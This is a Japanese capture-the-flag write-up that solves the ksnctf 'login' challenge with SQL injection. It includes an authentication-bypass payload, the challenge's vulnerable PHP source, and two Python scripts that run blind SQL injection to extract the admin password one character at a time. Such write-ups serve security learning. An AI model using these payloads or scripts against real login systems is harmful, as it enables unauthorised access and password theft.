ksnctf(4) SQLインジェクション、ブラインドSQLインジェクション
login 120点
とりあえずSQLインジェクション
' or 1==1 --
をIDに入れてあげると、
Congratulations! It's too easy? Don't worry. The flag is admin's password.
となりうまくいったようだが、Flagはまだ手に入らない。パスワードがFlagになっているらしいので、ブルートフォース(総当たり)でパスワードを一文字ずつ当てていく。これはブラインドSQLインジェクションという技らしい。
解法
まず最初にFLAGの文字数を当てます。
当たってた場合は下のような画面が表示されます。
Congratulations! It's too easy? Don't worry. The flag is admin's password. Hint: <?php function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');} $id = isset($_POST['id']) ? $_POST['id'] : ''; $pass = isset($_POST['pass']) ? $_POST['pass'] : ''; $login = false; $err = ''; if ($id!=='') { $db = new PDO('sqlite:database.db'); $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'"); $login = $r && $r->fetch(); if (!$login) $err = 'Login Failed'; } ?><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title> </head> <body> <?php if (!$login) { ?> <p> First, login as "admin". </p> <div style="font-weight:bold; color:red"> <?php echo h($err); ?> </div> <form method="POST"> <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div> <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div> <div><input type="submit"></div> </form> <?php } else { ?> <p> Congratulations!<br> It's too easy?<br> Don't worry.<br> The flag is admin's password.<br> <br> Hint:<br> </p> <pre><?php echo h(file_get_contents('index.php')); ?></pre> <?php } ?> </body> </html>
当たってなかった場合は下のような画面が表示されます。
First, login as "admin". Login Failed
ここからわかるように正解の場合と不正解の場合で画面に表示される文字の数が大きく異なっています。よってその文字数を見ることで当たってたか外れていたかを判定することができます。
次にパスワードを当てます。
ASCIIのテーブルを見てあげると、FLAGに使われるのは48~122であることがわかります。よってこの範囲でブルートフォースしてあげます。
コード
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' # 文字長総当たり length = 0 for i in range(1,100): sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i) param = {"id": sql} if len(requests.post(url, param).text) > 1000: length = i break # パスワード総当たり password = '' for i in range(1, length+1): for char in range(48, 123): sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) = \'{}\' --".format(i, chr(char)) param = {'id': sql} if len(requests.post(url, param).text) > 1000: print(chr(char)) password += chr(char) break print(password)
おまけ
二分探索を使って早くしようとした
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' length = 0 for i in range(1,100): sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i) param = {"id": sql} if len(requests.post(url, param).text) > 1000: length = i break password = '' for i in range(1, length+1): l = 48 r = 123 while(l+1!=r): char = (l+r) // 2 sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) < \'{}\' --".format(i, chr(char)) param = {'id': sql} if len(requests.post(url, param).text) > 1000: r = char else: l = char print(chr(char)) password += chr(char) print(password)
わずか100回のループがlog(100)回になったところで人間に感じられるような変化はなかった(あたりまえ)。 遅いのはリクエストの間隔ですよね、、。そんな爆速でリクエストを送ったらDos攻撃になってしまいます(笑) 今回はだめでしたが、こういうアルゴリズムが生きる日が来ることを信じて精進してまいります。
ksnctf writeup - Qiitaこの記事を参考にさせていただきました。